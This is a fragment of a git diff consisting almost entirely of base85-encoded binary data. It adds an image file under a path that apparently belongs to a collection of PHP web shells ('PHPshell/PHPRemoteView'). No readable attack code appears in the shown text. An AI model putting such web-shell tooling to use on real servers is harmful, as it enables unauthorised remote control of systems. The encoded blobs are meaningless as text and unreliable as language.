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 ZHIHb2eZNC!*g3|q`9FVahXJ4ce*mhpF?j$0 literal 0 HcmV?d00001 diff --git a/php/PHPshell/PHPRemoteView/PHPRemoteView.jpg b/php/PHPshell/PHPRemoteView/PHPRemoteView.jpg new file mode 100644 index 0000000000000000000000000000000000000000..ff74d33566248de0c6aafaa65b0f56790e4aadb5 GIT binary patch literal 27388 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 